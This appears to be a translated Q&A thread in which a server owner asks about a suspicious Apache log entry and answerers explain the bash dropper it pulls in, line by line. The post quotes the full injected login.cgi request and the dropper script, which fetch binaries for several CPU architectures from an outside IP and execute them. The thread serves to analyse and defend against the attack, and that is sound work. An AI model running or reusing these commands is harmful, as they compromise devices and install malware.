Что делает этот скрипт bash? [Попытка взлома]

3987
ndom91

В последнее время я замечал на своих серверах логи apache, следующие странные строки:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Поэтому я создал собственный фильтр Fail2Ban и начал блокировать IP-адреса, запрашивающие эти /login.cgi URL-адреса.

Но мне было любопытно, что они пытались сделать, поэтому я вытащил сценарий, который они пытаются выполнить, и я не могу понять, что именно он делает. Что-нибудь об удалении архивных папок в / var и / tmp?

Во всяком случае, вот оно:

#!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name -O -> $u ./$u $name done 
30
Связанная уязвимость: https://twitter.com/txalin/status/1007625620090707974?lang=en user2064000 5 лет назад 4
Как этот скрипт попал на ваш сервер? MrWhite 5 лет назад 1
Я просто открываю файл .sh в браузере на моем домашнем компьютере, копирую и вставляю его сюда, он никогда не попал на мой сервер. ndom91 5 лет назад 3
Этот скрипт является «пипеткой», который используется для загрузки фактического скрипта эксплойта. Он будет расположен по адресу `hxxp: //80.211.173.159: 80 / $ name`, где` $ name` - каждая из архитектур ЦП в `bin_names`. Таким образом, 7 сценариев атаки будут загружены и выполнены BlueCacti 5 лет назад 1

2 ответа на вопрос

42
l0b0

Построчно:

#!/bin/sh 

Устанавливает shоболочку в зависимости от линии Шебанга. sh%20/tmp/ksв запросе переопределяет это, поэтому эта строка обрабатывается как обычный комментарий и игнорируется.

u="asgknskjdgn" 

Объявляет произвольное имя, предположительно, чтобы избежать столкновения с другими именами файлов. Я не уверен, почему они не будут просто использовать mktemp, но, возможно, это доступно не на всех платформах.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" 

Перечисляет несколько распространенных архитектур ЦП.

http_server="80.211.173.159" http_port=80 

Сервер, на котором есть эксплойт.

cd /tmp/||cd /var/ 

Пытается изменить каталог, где ваш веб-сервер может создавать файлы. Я верю, что SELinux поможет с этим, установив гораздо более строгие правила относительно того, что может делать веб-сервер, чем файловая система сама по себе.

for name in $bin_names do 

Для каждой архитектуры процессора ...

 rm -rf $u 

Удаляет ранее опробованные программы. Не нужно из-за следующей строки, поэтому можно игнорировать.

 cp $SHELL $u 

Копирует текущий исполняемый файл оболочки ( /bin/sh). Может быть проигнорировано из-за строки после следующего.

 chmod 777 $u 

Предоставляет всем пользователям полный доступ к новому файлу. Это должно было произойти после wgetкоманды, которая является либо признаком написания сценариев для новичка, либо техникой неверного направления.

 >$u 

Опорожняет файл. Бессмысленно из-за следующей строки.

 wget http://$http_server:$http_port/$name -O -> $u 

Перезаписывает файл сценарием эксплойта для этой архитектуры. -O -> $uмог быть написан -O - > $u(дефис указывает, что загрузка должна быть записана в стандартный вывод), что эквивалентно -O $u.

 ./$u $name 

Запускает скрипт эксплойта с архитектурой в качестве первого аргумента.

done 

Завершает цикл.

Похоже, что это тривиальный сценарий попытки эксплойта, пытающийся использовать известные эксплойты на разных процессорных платформах. Я не знаю, почему он перезаписывается $uтри раза, но эти операции могут просто оставаться от более ранней итерации сценария. Предположительно, что более ранняя версия имела жестко запрограммированные эксплойты, а не динамически обслуживаемые - первая проще, но почти гарантирует, что скрипт будет менее эффективен со временем, так как исправляются ошибки.

Есть преимущество в том, что файл явно указан. Если место назначения уже существует и выполняется прямо сейчас, ядро ​​не позволит вам открыть файл для записи (-ETXTBSY). Однако переименование или удаление работающей программы разрешено. grawity 5 лет назад 21
Что делает `->` в команде `wget`? Почему бы просто не "wget ​​... -O $ u`? RonJohn 5 лет назад 0
@RonJohn читал это как `->` cat 5 лет назад 1
@ l0b0 Нет, это не так. Я имел в виду в своем комментарии, что люди могут понять это сами, если им будет любопытно. Извините за начало беспорядка ... Nonny Moose 5 лет назад 0
@RonJohn На самом деле это две разные вещи: `-O -`, который заставляет wget писать в stdout, и`> `, который начинает перенаправление вывода. А почему нет, злоумышленник выглядит неопытным, или, может быть, это для запутывания? Nonny Moose 5 лет назад 0
При `-O-> filename`` filename` не отображается в выводе * ps ax *. Это может быть преимуществом для усложнения отладки. pts 5 лет назад 5
`Cp` дает вам исполняемый файл. Возможно, полезно, если `chmod` не работает? Изменить: учитывая, что [по-видимому] (https://twitter.com/txalin/status/1007625620090707974?lang=en) это предназначено для маршрутизаторов, вполне возможно, что `chmod` не существует. Bob 5 лет назад 1
Скрипт даже не пытается определить арку процессора цели, он загружает и запускает все скрипты. Интересно, может ли запуск неправильного сценария привести к блокировке системы (если только сам скрипт не выполняет проверку). BlueCacti 5 лет назад 0
Это действительно довольно дилетантский. Эксплойт, который он использует, предназначен даже для конкретной экипировки DLINK, поэтому у него будет только одна работающая архитектура. Конечно, уродливые успешные хаки все еще успешные хаки… w00t 5 лет назад 0
Using > won't change the previously set permissions on the file. It looks like cp and chmod are both attempts to make the file executable, then the wget with redirection replaces the contents without changing the ownership and permissions of the file. Using wget -O filename would over-write the file and change the permissions. Randy Orrison 5 лет назад 0
12
Mokubai

Это wgetключевая опасная линия.

Он for name in $bin_namesобрабатывает список платформ и для каждой платформы очищает временный каталог, копирует оболочку и делает ее доступной для всех.

Затем он загружает файл, используя, wgetа затем выполняет его, используя программу оболочки, которую он только что скопировал.

Сценарий в основном пытается загрузить серию исполняемых файлов или сценариев для каждой возможной платформы и втирать их в вашу систему в надежде на дальнейшую угрозу вашей системе.

потирает == работает? Barmar 5 лет назад 6
@ Barmar Я уверен, что это было сделано намеренно: P Canadian Luke 5 лет назад 5

Похожие вопросы